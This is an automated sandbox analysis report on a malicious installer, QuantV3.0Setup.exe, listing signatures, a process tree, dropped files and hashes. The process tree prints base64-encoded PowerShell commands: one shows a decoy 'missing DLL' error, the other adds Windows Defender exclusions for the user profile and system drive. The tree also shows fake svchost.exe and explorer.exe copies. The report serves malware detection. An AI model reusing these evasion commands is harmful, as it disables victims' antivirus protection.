Analysis

  • max time kernel
    0s
  • max time network
    15s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/04/2024, 14:08

Errors

Reason
Machine shutdown

General

  • Target
    QuantV3.0Setup.exe
  • Size 4.7MB
  • Sample240416-rf1svsbh78
  • SHA256 b8226adbff1beb13504ba38cefcbe665d3684a16ce313ad780f324ef9159d361
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Detects Pyinstaller 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\QuantV3.0Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\QuantV3.0Setup.exe"
    1⤵
      PID:228
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAYwB0ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHMAdAB1ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABwAHIAbwBnAHIAYQBtACAAYwBhAG4AJwAnAHQAIABzAHQAYQByAHQAIABiAGUAYwBhAHUAcwBlACAAZAAzAGQAeAA5AF8AMwA5AC4AZABsAGwAIABpAHMAIABtAGkAcwBzAGkAbgBnACAAZgByAG8AbQAgAHkAbwB1AHIAIABjAG8AbQBwAHUAdABlAHIALgAgAFQAcgB5ACAAcgBlAGkAbgBzAHQAYQBsAGwAaQBuAGcAIAB0AGgAZQAgAHAAcgBvAGcAcgBhAG0AIAB0AG8AIABmAGkAeAAgAHQAaABpAHMAIABwAHIAbwBiAGwAZQBtAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHIAYgBiACMAPgA="
        2⤵
          PID:3260
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAYQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAZABmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAcAB6ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAawB4ACMAPgA="
          2⤵
            PID:4396
          • C:\Users\Admin\AppData\Roaming\svchost.exe
            "C:\Users\Admin\AppData\Roaming\svchost.exe"
            2⤵
              PID:952
              • C:\Users\Admin\AppData\Roaming\svchost.exe
                "C:\Users\Admin\AppData\Roaming\svchost.exe"
                3⤵
                  PID:4484
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\activate.bat
                    4⤵
                      PID:1812
                      • C:\Windows\system32\taskkill.exe
                        taskkill /f /im "svchost.exe"
                        5⤵
                        • Kills process with taskkill
                        PID:3880
                • C:\Users\Admin\AppData\Local\explorer.exe
                  "C:\Users\Admin\AppData\Local\explorer.exe"
                  2⤵
                    PID:3684

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      VCRUNTIME140.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\VCRUNTIME140.dll
                      • Size 95KB
                      • SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
                      • MD5 SHA1 SHA512 SSDEEP

                      _bz2.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\_bz2.pyd
                      • Size 47KB
                      • SHA256 8886bd30421c6c6bfae17847002b9bf4ee4d9eee1a3be7369ee66b36e26c372b
                      • MD5 SHA1 SHA512 SSDEEP

                      _ctypes.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\_ctypes.pyd
                      • Size 58KB
                      • SHA256 5998de3112a710248d29df76a05272775bf08a8dbc5a051a7ecb909fef069635
                      • MD5 SHA1 SHA512 SSDEEP

                      _decimal.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\_decimal.pyd
                      • Size 105KB
                      • SHA256 07d7ac065f25af2c7498d5d93b1551cc43a4d4b5e8fb2f9293b647d0f7bd7c72
                      • MD5 SHA1 SHA512 SSDEEP

                      _hashlib.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\_hashlib.pyd
                      • Size 35KB
                      • SHA256 11658b52e7166da976abeeed78a940d69b2f11f518046877bea799759a17f58b
                      • MD5 SHA1 SHA512 SSDEEP

                      _lzma.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\_lzma.pyd
                      • Size 85KB
                      • SHA256 32f911e178fa9e4db9bd797598f84f9896f99e5022f2b76a1589b81f686b0866
                      • MD5 SHA1 SHA512 SSDEEP

                      _socket.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\_socket.pyd
                      • Size 42KB
                      • SHA256 8142d92dc7557e8c585ea9ee41146b77864b7529ed464fdf51dfb6d797828a4a
                      • MD5 SHA1 SHA512 SSDEEP

                      base_library.zip

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\base_library.zip
                      • Size 859KB
                      • SHA256 a0f5c7f0bac1ea9dc86d60d20f903cc42cff3f21737426d69d47909fc28b6dcd
                      • MD5 SHA1 SHA512 SSDEEP

                      libcrypto-1_1.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\libcrypto-1_1.dll
                      • Size 1.1MB
                      • SHA256 9d2257d0de8172bcc8f2dba431eb91bd5b8ac5a9cbe998f1dcac0fac818800b1
                      • MD5 SHA1 SHA512 SSDEEP

                      libffi-7.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\libffi-7.dll
                      • Size 23KB
                      • SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
                      • MD5 SHA1 SHA512 SSDEEP

                      python310.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\python310.dll
                      • Size 1.4MB
                      • SHA256 2a382aff16533054e6de7d13b837a24d97ea2957805730cc7b08b75e369f58d6
                      • MD5 SHA1 SHA512 SSDEEP

                      select.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\select.pyd
                      • Size 25KB
                      • SHA256 26dada1a4730a51a0e3aa62e7abc7e6517a4dc48f02616e0b6e5291014a809cc
                      • MD5 SHA1 SHA512 SSDEEP

                      unicodedata.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI9522\unicodedata.pyd
                      • Size 289KB
                      • SHA256 46a90852f6651f20b7c89e71cc63f0154f00a0e7cd543f046020d5ec9ef6cb10
                      • MD5 SHA1 SHA512 SSDEEP

                      __PSScriptPolicyTest_jfn0qa4f.i0f.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfn0qa4f.i0f.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      explorer.exe

                      • Path C:\Users\Admin\AppData\Local\explorer.exe
                      • Size 355KB
                      • SHA256 5263ecab05efc0fda51526658fdfa446f6108c009b8c2ddc9dd93ba29ea691b7
                      • MD5 SHA1 SHA512 SSDEEP

                      svchost.exe

                      • Path C:\Users\Admin\AppData\Roaming\svchost.exe
                      • Size 3.8MB
                      • SHA256 f9c0dd2a62677cf543e4b434499d37ddc606601af849489c0af6efb4be0a1556
                      • MD5 SHA1 SHA512 SSDEEP

                      svchost.exe

                      • Path C:\Users\Admin\AppData\Roaming\svchost.exe
                      • Size 3.4MB
                      • SHA256 73adea48eb641d87a35c72e937b1a115d8361a3fcfeec83c6b591a47e333449b
                      • MD5 SHA1 SHA512 SSDEEP

                      svchost.exe

                      • Path C:\Users\Admin\AppData\Roaming\svchost.exe
                      • Size 4.1MB
                      • SHA256 384ee51948a4b6d52352141db428bab7c93112722091d465c0bea649bd598228
                      • MD5 SHA1 SHA512 SSDEEP

                      svchost.exe

                      • Path C:\Users\Admin\AppData\Roaming\svchost.exe
                      • Size 4.2MB
                      • SHA256 f5f3b42606d46406ffd49e760dbb751ec16e1c7d24ea05d23abab9259ff3ec50
                      • MD5 SHA1 SHA512 SSDEEP

                      activate.bat

                      • Path C:\Users\Admin\activate.bat
                      • Size 89B
                      • SHA256 7e11ebee02009ca03fef84ea1843a1e10459825c52eb6f11b2d680d57540dd4d
                      • MD5 SHA1 SHA512

                      memory/3260-40-0x0000000004D00000-0x0000000005328000-memory.dmp

                      memory/3260-90-0x0000000005640000-0x00000000056A6000-memory.dmp

                      memory/3260-86-0x0000000005560000-0x00000000055C6000-memory.dmp

                      memory/3260-92-0x00000000056F0000-0x0000000005A44000-memory.dmp

                      memory/3260-39-0x0000000073D80000-0x0000000074530000-memory.dmp

                      memory/3260-94-0x00000000060D0000-0x000000000611C000-memory.dmp

                      memory/3260-59-0x00000000046C0000-0x00000000046D0000-memory.dmp

                      memory/3684-26-0x0000000000450000-0x00000000004BD000-memory.dmp

                      memory/4396-57-0x0000000003390000-0x00000000033A0000-memory.dmp

                      memory/4396-56-0x0000000073D80000-0x0000000074530000-memory.dmp

                      memory/4396-38-0x00000000033A0000-0x00000000033D6000-memory.dmp

                      memory/4396-93-0x0000000006940000-0x000000000695E000-memory.dmp

                      memory/4396-67-0x0000000003390000-0x00000000033A0000-memory.dmp

                      memory/4396-76-0x00000000062E0000-0x0000000006302000-memory.dmp

                      memory/4484-41-0x00007FFD02060000-0x00007FFD024C6000-memory.dmp

                      memory/4484-68-0x00007FFD14D20000-0x00007FFD14D44000-memory.dmp

                      memory/4484-69-0x00007FFD11E40000-0x00007FFD11E6C000-memory.dmp

                      memory/4484-66-0x00007FFD14BE0000-0x00007FFD14BF8000-memory.dmp

                      memory/4484-65-0x00007FFD14D70000-0x00007FFD14D7F000-memory.dmp